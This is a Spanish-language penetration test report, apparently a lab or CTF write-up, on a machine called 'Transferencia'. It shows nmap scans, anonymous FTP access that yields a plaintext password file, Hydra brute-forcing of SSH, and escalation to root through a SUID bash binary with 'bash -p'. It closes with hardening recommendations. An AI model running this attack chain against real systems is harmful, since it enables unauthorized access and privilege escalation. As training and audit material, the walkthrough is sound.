

# Informe de Auditoría de Seguridad: Máquina "Transferencia"

**Auditor:** Dante **Fecha:** 02/12/2025 **Objetivo:** 172.17.0.2

## 1. Resumen Ejecutivo

Se realizó una prueba de penetración sobre el activo 172.17.0.2. Durante la auditoría, se identificaron vulnerabilidades críticas que permitieron comprometer el sistema totalmente. Se detectó una mala configuración en el servicio FTP que exponía información sensible, lo que permitió un acceso inicial por SSH. Posteriormente, mediante la explotación de un binario con permisos SUID mal configurados, se logró escalar privilegios hasta obtener acceso total como administrador (root).

## 2. Fase 1: Reconocimiento y Enumeración

Se inició con un escaneo de puertos para identificar servicios activos.

- **Herramienta:** Nmap
- **Comando:** sudo nmap -sS -sV -sC -p 21,22,80 -T4 -oN scaneo-profundo.txt 172.17.0.2
- **Resultados:**
  - **Puerto 21 (FTP):** Servicio vsftpd 3.0.5. Se detectó que permite el inicio de sesión anónimo (Anonymous FTP login allowed) .
  - **Puerto 22 (SSH):** Servicio OpenSSH 10.0p2 .
  - **Puerto 80 (HTTP):** Servidor web nginx con título "Transferencia" .

```
(kali㉿kali)-[~]
└─$ nmap 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-02 17:55 UTC
Nmap scan report for 172.17.0.2
Host is up (0.0000090s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
```

```

Session Acciones Editar Vista Ayuda
└─$ sudo nmap -sS -sV -sC -p 21,22,80 -T4 -oN scaneo-profundo.txt 172.17.0.2
[sudo] contraseña para kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-02 17:59 UTC
Nmap scan report for 172.17.0.2
Host is up (0.000049s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x  1 65534  65534      4096 Nov 27 03:15 pub
| ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to 172.17.0.1
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_  At session startup, client count was 4
|_  vsFTPD 3.0.5 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp    open  http      nginx
|_http-title: Transferencia
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds

```

## . 2.1 Enumeración de FTP

Al detectar el acceso anónimo, se procedió a inspeccionar el contenido del servidor FTP.

- Se ingresó con el usuario Anonymous contraseña Anonymous.
- Se listó el directorio pub, encontrando un archivo sensible llamado usuarios.txt .
- Se descargó el archivo a la máquina atacante mediante el comando get usuarios.txt .
- **Hallazgo:** El archivo contenía una lista de usuarios y contraseñas en texto plano

```

Session Acciones Editar Vista Ayuda
└─(kali@kali)-[~]
└─$ cat usuarios.txt
carlos:qwerty
maria:123456
guest:guest
admin:admin
test:user123
alberto:admin123

```

### 3. Fase 2: Explotación y Acceso Inicial

Utilizando la información exfiltrada, se realizó un ataque de fuerza bruta dirigido al servicio SSH.

- **Herramienta:** Hydra
- **Comando:** `hydra -C usuarios.txt ssh://172.17.0.2`
- **Resultado:** Se encontraron credenciales válidas en menos de 5 segundos.
  - **Usuario:** alberto
  - **Contraseña:** admin123

Con estas credenciales, se estableció una conexión exitosa mediante SSH (`ssh alberto@172.17.0.2`), obteniendo acceso al sistema con una shell de usuario estándar

```
(kali@kali)-[~]
$ hydra -C usuarios.txt ssh://172.17.0.2
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-03 14:35:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries, ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2  login: alberto  password: admin123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-03 14:35:32
```

```
(kali@kali)-[~]
$ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
Name (172.17.0.2:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> █
```

#### 4. Fase 3: Escalada de Privilegios

Una vez dentro del sistema, se procedió a enumerar el entorno en busca de vectores para elevar privilegios.

- **Enumeración SUID:** Se buscaron archivos con el bit SUID activo, los cuales se ejecutan con los permisos del propietario (usualmente root).
- **Comando:** `find / -perm -4000 2</dev/null`
- **Hallazgo Crítico:** Se detectó el binario `/usr/bin/bash` con permisos SUID . Esto es una configuración atípica y altamente peligrosa

```
(kali㉿kali)-[~]
└─$ sudo ssh alberto@172.17.0.2
alberto@172.17.0.2's password:
Linux 51941e4c67ed 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec 3 14:46:05 2025 from 172.17.0.1

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
-bash-5.2$ whoami
alberto
-bash-5.2$
```

```
-bash-5.2$ find / -perm -4000 2</dev/nu  
/usr/lib/dbus-1.0/dbus-daemon-launch-he  
/usr/lib/openssh/ssh-keysign  
/usr/sbin/exim4  
/usr/bin/passwd  
/usr/bin/umount  
/usr/bin/bash  
/usr/bin/mount  
/usr/bin/su  
/usr/bin/chfn  
/usr/bin/newgrp  
/usr/bin/chsh  
/usr/bin/gpasswd  
/usr/bin/sudo  
-bash-5.2$ /usr/bin/bash -p  
bash-5.2# whoami  
root  
bash-5.2#
```

#### 4.1 Explotación SUID

Dado que bash tenía permisos de root, se ejecutó el siguiente comando para preservar los privilegios del propietario:

- **Comando:** `/usr/bin/bash -p`
- **Resultado:** El prompt cambió a `bash-5.2#` y el comando `whoami` confirmó que el usuario actual era `root`

```
bash-5.2# cd root  
bash-5.2# pwd  
/root  
bash-5.2#
```

## 4.2 Obtención de la "Flag" (Prueba de compromiso)

Con acceso total, se navegó al directorio del administrador.

- **Ubicación:** /root/flag.txt
- **Contenido:** @n0n\_h@CKEr

```
bash-5.2# ls -all
total 24
drwx----- 1 root root 4096 Nov 27 03:15 .
drwxr-xr-x 1 root root 4096 Dec  3 14:25 ..
-rw-r--r-- 1 root root  607 Nov  7 17:40 .bashrc
-rw-r--r-- 1 root root  132 Nov  7 17:40 .profile
drwx----- 2 root root 4096 Nov 27 03:15 .ssh
-rw----- 1 root root   12 Nov 27 03:15 flag.txt
bash-5.2# cat flag.txt
@n0n_h@CKEr
bash-5.2#
```

## 5. Recomendaciones de Seguridad

Basado en los hallazgos, se recomienda implementar las siguientes correcciones de inmediato:

1. **Hardenización de FTP:** Deshabilitar el inicio de sesión anónimo en el servidor vsftpd si no es estrictamente necesario para el negocio.
2. **Manejo de Información Sensible:** Eliminar archivos que contengan credenciales en texto plano (usuarios.txt) de directorios públicos.
3. **Gestión de Binarios SUID:** Retirar el bit SUID del binario /usr/bin/bash (chmod u-s /usr/bin/bash). Los intérpretes de comandos nunca deben tener permisos SUID en un entorno de producción.
4. **Políticas de Contraseñas:** La contraseña admin123 es extremadamente débil. Se debe forzar una política de contraseñas robustas